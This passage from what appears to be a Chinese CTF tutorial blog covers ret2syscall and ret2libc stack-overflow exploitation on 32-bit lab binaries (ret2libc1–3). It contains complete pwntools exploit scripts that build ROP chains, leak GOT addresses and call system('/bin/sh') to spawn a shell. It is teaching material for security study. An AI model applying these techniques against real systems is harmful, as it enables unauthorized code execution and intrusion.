p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80

payload = 112 * b'A' + p

io.sendline(payload)

io.interactive()

脚本运行结果:

image-20250509183832694

4、ret2libc

ret2libc 即控制程序执行 libc 中的函数。通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行system("/bin/sh"),故而此时我们需要知道 system() 函数的地址。

下面由易到难给出三个 ret2libc 的例子。

(1)ret2libc1

查看程序的保护机制:

1
2
3
4
5
6
7
8
9
MRX@DEEPIN:~/Desktop$ checksec ret2libc1
[*] '/home/MRX/Desktop/ret2libc1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

程序为 32 位,开启了 NX 保护。

对程序进行反编译:

image-20250511195003437

可以看出,程序存在 gets() 函数,仍然是基本的栈溢出漏洞。

程序中存在函数 secure()。

image-20250511200702010

函数 secure() 的功能是:程序通过当前时间 time(0) 初始化随机数种子,用 rand() 函数生成一个"secretcode",然后要求用户输入一个整数。如果用户输入的数字等于这个"secretcode",就执行system("shell!?")

不过我们的关注点并不在于如何猜出这个 secretcode 的值,然后让程序去执行system("shell!?"),这里的shell!?并不是什么有效的系统调用命令。我们应该注意到的是这里存在 system() 函数,如果程序中刚好也存在/bin/sh字符串的话,那么我们就拼接system("/bin/sh")来获得系统的 Shell。

使用 ROPgadget 可以查看是否有/bin/sh字符串存在:

image-20250511195305108

可以看到/bin/sh字符串也是存在的,内存地址位置:0x08048720。

需要注意的是,这里我们需要手动构造system("/bin/sh")的函数调用,也就是说我们需要将栈溢出后的返回地址指向 system() 函数的地址。因为函数调用时入栈顺序为:

实参N~1 → 主调函数返回地址 → 主调函数帧基指针EBP → 被调函数局部变量1~N

所以,我们在构造 payload 的时候也需要按顺序去构造,函数参数(Argument)(/bin/sh)返回地址(return address)(我们这里直接获得了Shell即可,所以返回地址可以随便填)局部变量(Local Variable)(这部分不需要即可)

通过 cyclic 配合 gdb 调试获得覆盖到返回地址的偏移量为:112。

1
2
MRX@DEEPIN:~/Desktop$ cyclic -l 0x62616164
112

该步骤前面出现多次,后续无特殊示例不再单独列出。

所以,这里可以先写出栈溢出的填充部分。

payload = b'A' * 112  + 返回地址

填充示意图:

image-20250506164931841

接下来,我们需要寻找 system() 函数的地址。

方法1:使用 IDA Pro 查找

在IDA中找到调用 _system()函数的位置,双击进入找到 system() 函数的地址。

image-20250511221818294

image-20250511221850073

可以看到,这里我们拿到的地址是 .plt(PLT) 表中的 system() 函数的函数入口地址。

我们可以进一步双击这里的ds:off_804A018,进入跳转获得 .got.plt(GOT) 表中的 system() 函数地址条目 0x0804a018。

image-20250511235938670

这里的地址 0x08048460 是程序在调用函数 system() 时,使用的 PLT(Procedure Linkage Table)中的入口地址。该地址本质上不是 system() 函数本体,而是一个跳板,用于延迟绑定动态链接库中的 system() 函数。当我们将返回地址指向 PLT 表中的该地址时,即可完成对函数 system() 的调用。

方法2:使用 objdump 查找

查看 ELF 可执行文件或共享库中的 PLT 表记录。

1
2
MRX@DEEPIN:~/Desktop$ objdump -d -j .plt ret2libc1
#-d 表示反汇编,-j .plt 指定只显示 .plt 段的内容。

image-20250512002331474

我们同样可以得到 PLT 表中的 system() 函数的函数入口地址 0x08048460。

查看 ELF 可执行文件或共享库中的 GOT 表记录。

1
MRX@DEEPIN:~/Desktop$ objdump -R ret2libc1

image-20250511235350107

我们同样可以得到 system() 函数在 GOT 表中的地址条目 0x0804a018。

完整的exp1漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = process('./ret2libc1')

binsh_addr = 0x08048720
plt_system = 0x08048460
system_ret = b'AAAA'

payload = flat([b'A' * 112, plt_system, system_ret, binsh_addr])

p.sendline(payload)
p.interactive()

填充示意图:

image-20250512163604001

需要注意的是:

在正常的函数调用中,是按照调用约定(如cdecl)将参数压入栈中,然后由call指令将返回地址压入栈中,接着在被调用函数中保存调用者的 EBP,并设置新的 EBP,最后为局部变量分配空间。

然而,在 ret2libc 攻击中,攻击者并不会通过正常的函数调用流程来调用目标函数(如system())。相反,攻击者利用缓冲区溢出等漏洞,直接覆盖返回地址,使程序在函数返回时跳转到目标函数的地址,并在栈上伪造出执行后的返回地址和目标函数所需的参数,从而实现对目标函数的调用。

具体来说,我们覆盖返回地址,使程序在函数返回时跳转到 system() 函数的地址(system_ret),并在栈上布置好执行后的返回地址(system_ret)和该函数的参数(binsh_addr),从而实现对system("/bin/sh")的调用。

system()函数原型:

1
int system(const char * command)

栈的布局如下(从高地址到低地址):

1
2
3
4
5
6
7
8
9
|---------------------------|
| "/bin/sh" 字符串的地址      |  system() 的参数
|---------------------------|
|  system() 函数的返回地址    |  system() 执行完后的返回地址
|---------------------------|
|  system() 函数的地址        |  覆盖的返回地址
|---------------------------|
| 填充数据 'A' * 112    |  用于填充缓冲区
|---------------------------|

在这个布局中,system() 函数的地址被放置在原返回地址的位置,程序在函数返回时会跳转到该地址。紧接着是伪造的返回地址,如果不需要进一步的构造 ROP 链完成其他函数的调用的话,这里设置错误的返回地址影响也不大。然后是 system() 函数的参数,即"/bin/sh"字符串的地址。

这种方式不需要重新开辟新的栈空间,而是利用已有的栈,通过覆盖返回地址和布置参数来实现对 system() 的调用。由于攻击者并不执行call指令,因此不需要设置新的 EBP 或分配局部变量空间。攻击者只需确保栈上的数据能够满足目标函数的调用约定即可。

脚本运行结果:

image-20250512012910154

在上面的脚本中,我们通过手动硬编码的方式指定了 system() 函数在 .plt 段中的地址 0x08048460 和/bin/sh字符串的地址。这种方式在快速测试时非常直接有效,但当目标程序发生重编译或地址变化时,硬编码就显得不够灵活,也容易出错。

完整的exp2漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *

p = process('./ret2libc1')

elf = ELF('./ret2libc1')  # 加载 ELF 文件,便于自动解析符号表

binsh_addr = 0x08048720
system_ret = b'AAAA'

# system() 的 PLT 地址由 ELF 类自动查找
payload = flat([b'A' * 112, elf.plt['system'], system_ret, binsh_addr])

p.sendline(payload)
p.interactive()

脚本运行结果:

image-20250512014049061

这个例子相对来说简单,同时提供了 system() 地址与/bin/sh的地址,但是大多数程序并不会有这么好的情况。

(2)ret2libc2

该题目与例 ret2libc1 基本一致,程序中存在 gets() 函数导致的栈溢出,存在 system() 函数地址,但不再出现/bin/sh字符串。所以此次需要我们手动向程序传入字符串/bin/sh

我们一共需要两个gadgets,第一个控制程序通过程序中已有的 gets() 函数读取我们传递给程序的字符串/bin/sh,第二个控制程序执行system("/bin/sh")

查看程序的保护机制:

1
2
3
4
5
6
7
8
9
MRX@DEEPIN:~/Desktop$ checksec ret2libc2
[*] '/home/MRX/Desktop/ret2libc2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

程序为 32 位,开启了 NX 保护。

对程序进行反编译:

image-20250512135521183

使用 objdump 可以看到程序 PLT 表中存在 system() 函数的地址。

1
MRX@DEEPIN:~/Desktop$ objdump -d -j .plt ret2libc2

image-20250512140227273

plt_system的地址为:0x08048490。

使用 ROPgadget 可以查看是否有/bin/sh字符串存在:

image-20250512135937118

可以看到/bin/sh字符串在程序中是不存在的。

通过 cyclic 配合 gdb 调试获得覆盖到返回地址的偏移量为:112。

1
2
MRX@DEEPIN:~/Desktop$ cyclic -l 0x62616164
112

简单的梳理一下本次要构造的 payload:

payload = b'A' * 112 + plt_gets + gets_ret(pop一次任意单个寄存器) + binsh_addr(bss) + plt_system + system_ret('AAAA') + binsh_addr(bss)

填充示意图:

image-20250512153216935

整体思路的话就是:

(1)先通过'A' * 112覆盖到程序的返回地址。

(2)第一个 gadgets,我们需要完成对 gets() 函数的调用,将用户输入的字符串/bin/sh存储到程序中的固定位置上(比如.bss段)。栈布局的话就是:gets_plt 指向 gets() 的入口地址、gets_ret 指向 gets() 函数执行完后的返回地址、binsh_addr 指向要存储用户传入的字符串/bin/sh的固定内存地址位置(比如.bss段)。

需要注意的是,这里的 gets_ret 我们并不能直接使用AAAA进行无指向填充,因为我们后面还需要继续调用 system() 函数。在使用 ROP 技术构造调用链时,调用函数(如gets())后,栈上会残留其参数(比如这里的binsh_addr)。为了确保后续的函数调用能够正确读取其参数,我们需要使用一个 gadget 来清理这些残留的参数。调用的函数布局了多少个参数到栈上,后面就需要通过pop 多少个寄存器; ret的 gadget 来从栈中弹出多少个值到指定的寄存器,并将控制权转移到下一个地址。

比如前面的 gets() 函数只布局了一个参数到栈上,我们就只需要执行pop eax; ret一下即可,形如pop ebx; retpop ecx; ret 等的 gadget 也可以用于清理栈,只要确保该 gadget 不会对程序状态产生不良影响(避免使用会修改关键寄存器或执行其他操作的 gadget),确保使用该 gadget 后,栈指针指向下一个正确的地址,以便后续的函数调用能够正确读取其参数即可。

gets()函数原型:

1
char *gets(char *str);

(3)第二个 gadgets,我们需要完成对 system() 函数的调用。我们需要将第一个 gadgets 调用 gets() 函数返回的地址设置为 system() 的入口地址(plt_system),并在栈上伪造出执行后的返回地址(system_ret)和 system 函数所需的参数(binsh_addr),从而实现对目标函数的调用。

system()函数原型:

1
int system(const char * command)

根据前面的 paylod 构造,plt_system 的地址前面已经知道了,我们还不知道 plt_gets、gets_ret 和 binsh_addr 的地址如何设置。

使用 objdump 可以看到程序 PLT 表中存在 gets() 函数的地址。

1
MRX@DEEPIN:~/Desktop$ objdump -d -j .plt ret2libc2

image-20250512141924583

plt_gets 的地址为:0x08048460。

我们使用下面的 ROPgadget 指令在 ret2libc2 二进制文件中查找包含popret指令的 ROP gadget。

1
MRX@DEEPIN:~/Desktop$ ROPgadget --binary ret2libc2 --only "pop|ret"

image-20250512165607124

我们这里使用pop ebx ; ret所在的地址 0x0804843d 当做 gets() 函数的返回地址 gets_ret。

这里我们再思考下 binsh_addr 的地址如何来设置。我的需求场景是通过 gets() 函数接收用户传递给程序的字符串/bin/sh,然后将其存储到一个有读写权限的固定地址处(一般为.bss段),接着通过 system() 函数完成system("/bin/sh")的调用即可获得系统Shell。

在IDA反编译后的 main() 函数中我们看到了对程序对 .bss 段的初始化。

image-20250512171845552

双击_bss_start进入初始化的 .bss 段,可以看到在 .bss 段中存在地址为 0x0804A080 大小为 0x64 字节的变量 buf2。

image-20250512172308400

这样的话,我们直接把存放/bin/sh字符串的内存地址 binsh_addr 指向为 buf2 的地址 0x0804A080 即可。

完整的exp1漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

p = process('./ret2libc2')

plt_gets = 0x08048460
gets_ret = 0x0804843d
binsh_addr = 0x0804A080
plt_system = 0x08048490
system_ret = b'AAAA'

payload = flat([b'A' * 112, plt_gets, gets_ret, binsh_addr, plt_system, system_ret, binsh_addr])

p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

脚本运行结果:

image-20250512225200922

我们注意到 .bss 段(0x0804A040 ~ 0x0804A080) 所在的一整个内存地址区域段(0x0804a000 ~ 0x0804b000)都是具有读写权限的。

image-20250512230744142

image-20250512230829477

比较简单粗暴的一种方法就是往 .bss 段(0x0804A040 ~ 0x0804A080) 或者 .bss 段所在的一整个内存地址区域段(0x0804a000 ~ 0x0804b000) 任意地址写入字符串/bin/sh都可以,只要不影响程序的其他正常功能即可。

比如下面的示例,我们直接以.bss段起始地址+偏移0x100的位置处指定为存放字符串/bin/sh的位置,这样的话即使程序中不存在在 .bss 段初始化的变量 buf2 也不影响我们存放字符串/bin/sh

完整的exp2漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

p = process('./ret2libc2')

plt_gets = 0x08048460
gets_ret = 0x0804843d
binsh_addr = 0x0804A040 + 0x100
plt_system = 0x08048490
system_ret = b'AAAA'

payload = flat([b'A' * 112, plt_gets, gets_ret, binsh_addr, plt_system, system_ret, binsh_addr])

p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

脚本运行结果:

image-20250512231714063

进一步我们可以使用 pwntools 自带的 elf 解析功能简化下上面的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

p = process('./ret2libc2')

elf = ELF('./ret2libc2')

gets_ret = 0x0804843d
binsh_addr = elf.bss() + 0x100
system_ret = b'AAAA'

payload = flat([b'A' * 112, elf.plt['gets'], gets_ret, binsh_addr, elf.plt['system'], system_ret, binsh_addr])

p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

脚本运行结果:

image-20250512232330202

(3)ret2libc3

该题目在 ret2libc2 的基础上,再次将 system() 函数的地址去掉。程序中存在 gets() 函数导致的栈溢出,不直接出现 system() 函数地址,也不直接出现/bin/sh字符串。

注意:本实验环境在 Ubuntu20.04 虚拟机环境下完成。选择 Ubuntu20.04 的一个原因是程序附件给的 libc.so,可以直接 ./libc.so 运行没有问题;第二个原因是我本地Ubuntu18.04 在自带的 python3 环境下安装 Pwntools 有点问题。

查看程序的保护机制:

1
2
3
4
5
6
7
8
9
MRX@DEEPIN:~/Desktop$ checksec ret2libc3 
[*] '/home/MRX/Desktop/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

程序为 32 位,开启了 NX 保护。

对程序进行反编译:

image-20250513104518862

问题1:我们如何得到 system() 函数的地址呢?

这里就主要利用了两个知识点:

  • system() 函数属于 libc 库,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下链接

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序使用的 libc 版本。进而我们就可以知道 system() 函数的地址。

问题2:如何得到 libc 中的某个函数的地址呢?

我们一般常用的方法是采用 got 表泄露,即输出(打印)某个函数对应的 got 表项的内容。不过,由于 libc 的延迟绑定机制,我们只能泄漏程序已经执行过的函数的地址。

只要是我们在进行栈溢出覆盖返回地址之前,执行过的函数都可以拿来泄露地址使用。比如泄露这里的 printf() 函数和 puts() 函数地址(printf、puts函数都存在于glibc库中)。

image-20250513144754479

问题3:_startmain__libc_start_main的区别?

_start:程序的入口点

  • 定义:_start是操作系统在加载可执行文件后跳转到的第一个函数,通常由链接器设置为程序的入口点。
  • 作用:它负责进行初始设置,如准备堆栈、解析命令行参数和环境变量等。在使用标准 C 库(如 glibc)时,_start会调用__libc_start_main来进一步初始化程序。

__libc_start_main:C 运行时初始化函数

  • 定义:这是 glibc 提供的一个函数,负责初始化 C 运行时环境,并最终调用用户定义的 main 函数。
  • 作用:__libc_start_main会设置环境变量、调用构造函数、注册析构函数等,然后调用 main 函数。在 main 返回后,它还会处理清理工作并调用 exit 终止程序。

main:用户定义的主函数

  • 定义:这是用户在 C 程序中定义的主函数,包含程序的主要逻辑。
  • 作用:main 是程序的实际执行体,接收命令行参数并返回一个整数值作为程序的退出状态。

执行流程概览

  • 操作系统加载程序后,从_start开始执行。
  • _start调用__libc_start_main,传递main函数的地址和其他初始化信息。
  • __libc_start_main完成初始化后,调用用户定义的main函数。
  • main执行完毕后,控制权返回给__libc_start_main__libc_start_main进行清理并调用 exit 结束程序。

image-20250514011253467

在利用缓冲区溢出等漏洞进行攻击时,攻击者通常会利用栈溢出覆盖返回地址之前执行过的函数(比如这里的 printf() 函数或者 puts() 函数)的地址来计算 libc 的基地,有了 libc 的基地址,就可以定位到其他关键函数(如system())和字符串(如/bin/sh)的地址,以构造恶意的调用链。

在构造返回地址时,攻击者可能会选择将程序的执行流重新导向_start()函数来重新运行程序,以便重复利用某些功能或进行多次尝试。

需要注意的是:

泄露 main() 函数的地址通常没有实际意义,因为它是由程序员自定义的函数,属于程序内部定义的函数,并不属于 Glibc 库的一部分,且其地址在程序的符号表中是已知的,并且不会受到地址空间布局随机化(ASLR)的影响。

为了简化手动进行多次的获得地址、偏移计算等操作,这里给出一个 libc 的利用工具 LibcSearcher,具体细节请参考项目介绍

在 libc 中也是有/bin/sh字符串的,在得到 libc 基址之后,我们可以一起获得/bin/sh字符串的地址。虽然我们还可以通过向 .bss 段写/bin/sh字符串的方式获得/bin/sh的地址,但这样略显麻烦,不如直接顺带从 libc 中获取/bin/sh字符串的地址。

基本利用思路如下:

  • 泄露(打印) printf()/puts() 函数在 got 表中的地址
  • 获取确定 libc 版本
  • 获取 system() 地址和 /bin/sh 的地址
  • 再次执行源程序(返回地址重新指向 _start 函数)
  • 触发栈溢出执行 system("/bin/sh")

完整的exp1漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import LibcSearcher

p = process("./ret2libc3")
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']   # puts 函数的 PLT 地址
_start_addr = elf.symbols['_start']  # _start 是程序的入口函数地址
libc_printf_got = elf.got['printf']  # printf 函数的 GOT 地址

print("[+]泄露printf()函数地址,并返回程序_start()函数重新执行程序")
payload = flat([b'A' * 112, puts_plt, _start_addr, libc_printf_got])
p.sendlineafter(b'Can you find it !?', payload)
#libc_printf_got的地址会被puts()泄露(打印)出来,recv()接收下即可

print("[+]获取system()函数及字符串/bin/sh的真实地址")
libc_printf_addr = u32(p.recv()[0:4])  # 读取puts打印的地址
#print(hex(libc_printf_addr))
libc = LibcSearcher('printf', libc_printf_addr)    # 用LibcSearcher匹配 libc 库版本
libcbase = libc_printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("[+]获取系统Shell")
payload = flat([b'A' * 112, system_addr, b'AAAA', binsh_addr])
p.sendline(payload)

p.interactive()

这里简单的说一下上面的脚本。

第一步:泄露 printf() 的真实地址

首先通过程序中存在的 gets() 函数,通过填充字符A覆盖栈上的空间到返回地址的位置。

接着将返回地址的位置设置为 puts() 函数的地址(puts_plt),也就是说我们打算调用 puts() 函数来输出一些东西,要输出的内容就是 printf() 函数在 GOT 表中存储的 printf() 在 libc 库中的真实内存地址 libc_printf_got。

完成调用puts(libc_printf_got)之后,我们希望可以重新运行程序,因为我们第一次运行程序只是获取到了 printf() 在 libc 库中的真实内存地址,并没有拿到系统 Shell,所以这里我们将设置调用 puts() 函数后的返回地址为_start()函数的地址 _start_addr。

那么我们可不可以不使用_start()函数,而是使用 main() 函数重新执行程序呢?也是可以的,但直接调用 main() 函数可能对程序的初始化不彻底,栈溢出填充空间与先前程序调试时不太一致,需要在第二次运行程序时调用gdb.attach()重新计算填充值,所以这里建议是执行_start()函数来重新启动程序。

第二步:计算 libc 基地址,并定位 system() 和 /bin/sh

libc_printf_addr 为使用u32(p.recv()[0:4])方法读取到的内容,刚好为一个完整的 4 字节 32 位大小的 puts() 函数在 libc 库中的真实内存地址。

libc 版本查找可通过下面的语句完成:

1
2
#参数为"要匹配的函数"和"对应函数的真实内存地址"
libc = LibcSearcher('printf', libc_printf_addr)

确定好 libc 版本之后,就可以通过libc.dump('printf')来获取 printf() 函数在该 libc 版本中的偏移地址(offset),然后计算出 libc 的基址 libcbase。

1
2
# libc基址 = printf()真实地址 - printf()在该libc中的偏移地址
libcbase = libc_printf_addr - libc.dump('printf')

有了 libc 基址,便可直接得出 system() 函数和 /bin/sh 字符串的地址。

1
2
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

第三步:构造 payload 执行 system("/bin/sh") 获取系统 Shell

覆盖返回地址为 system_addr 去执行 system() 函数,填一个伪造的返回地址(比如'AAAA'),使用字符串/bin/sh的地址作为 system() 函数的参数,执行 system("/bin/sh") 获取系统 Shell。

脚本运行结果:

image-20250514014112407

接下来,我们再尝试下通过泄露 pusts() 的地址来获得 Shell。

完整的exp2漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import LibcSearcher

p = process("./ret2libc3")
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']   # puts 函数的 PLT 地址
_start_addr = elf.symbols['_start']  # _start 是程序的入口函数地址
libc_puts_got = elf.got['puts']      # puts 函数的 GOT 地址

print("[+]泄露printf()函数地址,并返回程序_start()函数重新执行程序")
payload = flat([b'A' * 112, puts_plt, _start_addr, libc_puts_got])
p.sendlineafter(b'Can you find it !?', payload)
#libc_puts_got的地址会被puts()泄露(打印)出来,recv()接收下即可

print("[+]获取system()函数及字符串/bin/sh的真实地址")
libc_puts_addr = u32(p.recv()[0:4])  # 读取puts打印的地址
#print(hex(libc_puts_addr))
libc = LibcSearcher('puts', libc_puts_addr)    # 用LibcSearcher匹配 libc 库版本
libcbase = libc_puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("[+]获取系统Shell")
payload = flat([b'A' * 112, system_addr, b'AAAA', binsh_addr])
p.sendline(payload)

p.interactive()

脚本运行结果:

image-20250514023004569

为什么前面说本实验环境在 Ubuntu20.04 虚拟机环境下完成的呢?难道其他的 Linux 环境就不行?

在新一些版本的 Ubuntu22.04 和 Deepin v25上测试,原始题目附件给的 libc.so,执行 ./libc.so 便会直接报错。

image-20250514102230832

报错提示动态链接器(ld.so)在初始化过程中无法解析某些符号,导致断言失败。

在 Ubuntu 22.04 环境中是可以正常运行输出提示信息的。

image-20250514102534685

通过网上查找资料,找到了一个师傅对这个问题的记录:

参考:https://blog.csdn.net/kenwblack/article/details/142707203

有很多人发现自己跟着别人的视频做出来的东西不对,明明别人视频里可以打通,但是自己写的就打不通,即使照抄别人的 write up 也不行。原因:你和视频教程中师傅的 OS 版本不同,导致加载的 libc 版本不同,照抄当然不行了。比如 ret2libc3 中自带的一个 libc.so 文件在我的 kali 上根本识别不了,但是我自己找的一个 libc6_2.38-12.1_i386.so 就能完美识别。

所以,这里我们也借用下这个师傅的 libc6_2.38-12.1_i386.so 文件来解决这个问题,顺带说下 ldd 命令查看程序使用的 libc 库信息。这里我们以 Deepin V25 环境进行演示。

ldd(List Dynamic Dependencies)命令用于列出可执行文件或共享库在运行时所依赖的动态链接库。

image-20250514104620315

这表示ret2libc3这个可执行文件依赖于以下共享库:

  • linux-gate.so.1:这是一个虚拟的共享库,用于内核与用户空间之间的系统调用接口。
  • libc.so.6:标准的 C 运行时库,提供了基本的 C 语言函数。
  • /lib/ld-linux.so.2:动态链接器,负责在程序启动时加载所需的共享库。

使用 patchelf 工具修改程序 ret2libc3 的修改 libc 库。

1
patchelf --replace-needed libc.so.6 ./libc6_2.38-12.1_i386.so ret2libc3 

image-20250514105134522

libc.so.6、libc6_2.38-12.1_i386.so 需 chmod 添加可执行权限。

重新运行我们前面写的 exp1.py 和 exp2.py。因为 exp1.py 中使用 printf() 函数泄露的偏移无法查询到对应的 libc 版本,所以导致利用失败;因此,这里只能使用 exp2.py 中使用 puts() 函数泄露的偏移来获取 libc 的版本,进而获得系统 Shell。

image-20250514105450626

image-20250514105542343

updatedupdated2025-05-142025-05-14